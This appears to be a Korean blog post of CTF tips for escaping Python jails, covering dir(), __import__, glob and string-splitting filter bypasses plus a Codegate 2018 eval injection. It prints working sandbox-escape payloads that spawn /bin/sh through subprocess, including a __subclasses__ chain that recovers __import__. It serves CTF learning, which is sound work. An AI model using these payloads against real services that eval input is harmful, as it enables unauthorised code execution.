Hacking/App.

CTF Python Jail Tips

2018. 2. 8. 09:55

이번에 코드게이트에서도 Python Jail 문제가 나왔다시피, 많은 CTF에서 Jail 문제가 나온다. 요즘들어서 부쩍 Python Jail 문제에 관심이 많아져서 이 글에 정리해보려고 한다. 


dir()

dir 함수는 안에 있는 값이 object라면 그 모듈의 attributes 들을 반환하고, class라면 안에 정의된 함수와, 변수들을 반환한다. Python Jail 의 기본은 해당 함수를 이용해서 어떤 속성을 갖고 있는지 확인하는 것이다. 

__import__ 

 이것은 Python의 Builtin Function이다. 원래의 import 구문과 역할은 똑같으나, 한 명령에서만 import 하겠다는 뜻이다. 정확히 무슨 뜻인지 모르겠으면 아래의 코드를 확인하자. 


 아래는 2017년 사이버가디언즈 챌린지 예선전에서 나왔던 Python Jail 문제의 소스이다. 



대회 당일에는 Python Jail을 많이 접해보지 않은 상태였기 때문에 많은 삽질 후, 아래의 Payload를 사용했다. 


__import__('subpro'+'cess').call(['/bin/sh', '-s'])


+ 로 문자열을 막는 것을 우회할 수 있고, os 모듈과 system 을 막은 것은 subprocess 라는 개사기 모듈을 이용해서 우회할 수 있다. 


glob 

 glob는 ls 를 대신할 수 있는 개사기 모듈이다. 사이버가디언즈 예선전 소스에서는 glob를 막고 있지 않다. 그래서 우리는 다음의 코드로 system('ls') 를 대체할 수 있다. 

__import__("glob").glob("*")

해당 디렉터리 내의 모든 파일, 디렉터리를 list형으로 반환해준다. wow,,,

import 가 필터링 되었다리,,,

{}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__im'+'port__']('subprocess').call(["/bin/sh","-s"])

이렇게 우회할 수 있다. 이것을 이용해서 무한히 응용할 수 있다. 

문자열 우회

 파이썬은 많은 기능이 있는 것을 알고 있을 것이다. 예전에 주창이가 나에게 한 번 풀어보라고 준 문제가 있었는데, 많은 문자들을 필터링하고 있었다. import, system, + ,, etc

 파이썬을 많이 써봤으면 이건 그냥 쉽게 우회할 수 있을 것이다. 아래와 같은 방법을 이용하자.

''.join(["sys", "tem"])
"__im port__".replace(" ", "")

아니면 다음과 같은 방법도 가능하다. 


shell과 관련된 문자열들을 찾아볼 수 있다,, 


Codegate 2018 Imple_Down Exploit 

취약점이 이런식으로 있었다. 

eval("object."+function+"()") 

이래서 공격을 어떻게 하지 생각해보았다가, SQL Injection의 주석을 생각해보았다. 그렇다,,, # 으로 뒤의 () 를 지울 수 있다.

하지만, # 이 막혀있기 때문에 불가능하다. 


대회 당일에는 풀지 못했지만, 풀이를 보고서 뒷통수를 맞은 느낌이었다.

and, or, ^ 같은 연산자로 풀 수 있었다는 것이다. 
eval("object."+function+"()")

 

이런 코드에서 이런 인풋을 할 수 있다. 


[attr] and eval('something') and object.function


이렇게 하면 eval이 실행된다. 만약 eval이 막혔다면 input() 을 써보는 것도 나쁘지 않다. 

'Hacking > App.' 카테고리의 다른 글

CTF Python Jail tips - 3  (0) 2018.02.18
CTF Python Jail tips 2  (1) 2018.02.16
System overall  (0) 2018.01.05
Android URL Spoofing cheat sheet  (0) 2017.10.28
JEB 초기 사용법  (0) 2017.09.28